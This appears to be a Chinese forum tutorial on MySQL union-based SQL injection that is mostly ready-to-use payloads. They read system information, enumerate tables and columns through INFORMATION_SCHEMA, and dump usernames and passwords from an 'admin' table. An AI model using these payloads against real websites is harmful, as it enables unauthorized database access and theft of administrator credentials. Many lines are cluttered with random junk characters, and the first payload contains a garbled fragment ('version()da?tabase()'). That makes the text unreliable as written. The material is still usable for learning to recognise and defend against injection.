mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
+ K- ^3 ~6 {# h9 e, {( B
学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
) w3 E5 R; U5 J" ^/ l8 z3 N|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

/ O6 W5 b9 S. }# z- ^2 y6 R/ ]|TABLES ->存储表名
2 b4 Z8 y1 e9 O|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
  T2 O" w3 j5 m! s0 ?% D' z|---字段：TABLE_NAME ->存储表的表名
7 N& e: ~5 d! m
8 N0 z) p) e7 z/ a. l. s9 ~|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
( @8 V/ _. C1 y8 k$ n, t0 a
/ @( D$ B/ v3 f* P|---字段：COLUMN_NAME ->该字段的名称

, }- f4 F( _( Y

2 U3 k% |0 j, P4 ]- Z$ a###########################################################################

0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

! N2 @9 o. j* U, g@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
: {: o/ o0 ], ^* G& @. t7 d: b0x3c62723e 换行HEX值
& _, K( z* s( S8 ~$ a& K! \% n6 f, u
*/



0 Z+ r  M# A" k" u, p# F* G* @1 u######################################################################

0x002 获取表名
0 G5 s0 o# L: z# }0 F9 y( j* s
9 [: I( U. i  R( }' _union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
- b4 h, \. B2 c. f

8 p* S7 _3 B' w1 R/ {  }0 b
/*
$ ~0 f- k- i! d" C6 P9 z3 b
5 x+ H3 `1 ]6 S* p- [; F0x67617264656e 为当前数据库名

9 Y0 q) J5 a% \0 I8 kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
& T: }. L8 f8 j) d
*/
; h! `5 y3 }' A
######################################################################
$ E9 y; k0 P4 L) }4 D
" X/ ]: `( H3 G4 q# \& s
9 h3 G3 B/ }6 v6 `
' [) `+ t( |0 E0x003 获取字段

' v* i& }; j: bunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
  Q0 F/ F$ X# V
/*

. A: E- m' N1 E- c+ P$ tgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

1 O: e  _7 U1 Y$ m. l# M0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

#####################################################################
: H  _' E' w; Y  z0 ^5 C& _4 ~
: f# B5 r4 c1 r& s* f/ h# }

2 v& [6 M  s; W5 T) |0x004 获取数据
. }$ l; ?% j1 u5 I  j5 W3 x
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
& V. {# p% }6 v9 u0 n
' [8 d% S: _  m+ v2 @union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin



( v0 m. B; P) h) l: _! L/*
9 `* B* q' D1 F8 m4 O2 D( z5 q4 L  q
/ z5 I0 v" ^( P3 R+ J0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
% H. O3 b. o8 n2 i
- c2 b7 h6 L+ A. I' }*/